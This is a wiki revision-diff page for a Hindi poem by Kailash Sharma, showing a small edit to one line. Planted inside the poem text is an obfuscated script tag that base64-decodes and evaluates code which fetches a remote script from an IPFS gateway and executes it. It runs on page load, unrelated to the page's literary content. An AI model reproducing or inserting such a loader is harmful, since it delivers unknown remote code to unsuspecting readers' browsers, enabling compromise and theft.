"आओ अब समय नहीं बाक़ी -कैलाश शर्मा" के अवतरणों में अंतर
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अब नहीं धर्म का राज्य यहाँ, | अब नहीं धर्म का राज्य यहाँ, | ||
अपने स्वारथ में सभी व्यस्त. | अपने स्वारथ में सभी व्यस्त. | ||
− | दुर्योधन जाग उठा | + | दुर्योधन जाग उठा फिर से, |
बेबस द्रोपदी फिर आज त्रस्त. | बेबस द्रोपदी फिर आज त्रस्त. | ||
14:04, 1 अगस्त 2017 के समय का अवतरण
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> चहुँ ओर गहन अँधियारा है, |
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